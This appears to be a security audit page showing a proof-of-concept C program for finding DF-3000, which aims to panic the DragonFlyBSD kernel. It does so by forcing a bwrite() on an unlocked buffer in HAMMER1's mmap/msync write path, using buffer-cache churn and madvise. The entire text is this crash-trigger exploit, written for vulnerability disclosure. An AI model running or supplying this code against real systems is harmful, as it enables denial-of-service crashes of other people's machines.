DragonFlyBSD Kernel Audit
DF-3000 / op3000b.c
← back to finding ↓ download raw
/*
 * DF-3000 PoC (attempt 2): force the !B_CACHE branch of the UIO_NOCOPY
 * path in hammer_vop_write() by recycling the covering 16K buffer and
 * reclaiming the clean sibling pages while keeping one page dirty.
 *
 *   1. ftruncate sparse 1M file on HAMMER1; mmap MAP_SHARED.
 *   2. read-touch every page (fault read-ahead: full 16K blocks become
 *      valid; buffers created clean/B_CACHE).
 *   3. write ONE byte per 16K block (page dirty via PTE; buffer stays clean).
 *   4. churn the buffer cache with a large read of another file so the
 *      covering buffers get recycled (getnewbuf LRU).
 *   5. madvise(MADV_DONTNEED) a second read-only mapping of the same file
 *      to drop the now-clean sibling pages (dirty pages are kept).
 *   6. msync(MS_SYNC) -> vnode_pager_generic_putpages -> VOP_WRITE
 *      UIO_NOCOPY -> getblk(16K): sibling pages missing -> !B_CACHE ->
 *      bqrelse(bp); bread(&bp) [breadnx reuses the released buffer] ->
 *      bwrite() on an unlocked buffer -> panic("bwrite: buffer is not busy")
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000b.bin";
	const char *churn = (argc > 2) ? argv[2] : "/mnt/h1/churn.bin";
	size_t size = 1 << 20;
	char *w, *r;
	volatile char *vp;

	setvbuf(stdout, NULL, _IONBF, 0);

	int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }
	if (ftruncate(fd, size)) { perror("ftruncate"); return 1; }

	w = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
	if (w == MAP_FAILED) { perror("mmap w"); return 1; }
	r = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0);
	if (r == MAP_FAILED) { perror("mmap r"); return 1; }

	/* 2. populate whole blocks (clean) */
	memset(w, 0x11, size);
	if (msync(w, size, MS_SYNC)) perror("msync fill");

	/* 3. dirty exactly one page per 16K block */
	for (size_t off = 0; off < size; off += 16384)
		w[off + 100] = (char)off;
	printf("pages dirtied (1 per 16K block)\n");

	/* 4. churn the buffer cache: read ~256MB of another file */
	int cfd = open(churn, O_RDONLY);
	if (cfd >= 0) {
		static char buf[65536];
		long total = 0;
		ssize_t n;
		while (total < 256L * 1024 * 1024 &&
		       (n = read(cfd, buf, sizeof(buf))) > 0)
			total += n;
		close(cfd);
		printf("churned %ld MB\n", total / (1024 * 1024));
	} else {
		printf("churn file %s: %s\n", churn, strerror(errno));
	}

	/* 5. drop clean sibling pages via a second mapping */
	if (madvise(r, size, MADV_DONTNEED))
		printf("madvise: %s\n", strerror(errno));
	else
		printf("madvise DONTNEED done\n");

	/* 6. putpages for the dirty pages */
	printf("msync(MS_SYNC)...\n");
	if (msync(w, size, MS_SYNC))
		printf("msync: %s\n", strerror(errno));
	else
		printf("msync: OK\n");

	munmap(w, size);
	munmap(r, size);
	close(fd);
	unlink(path);
	printf("done\n");
	return 0;
}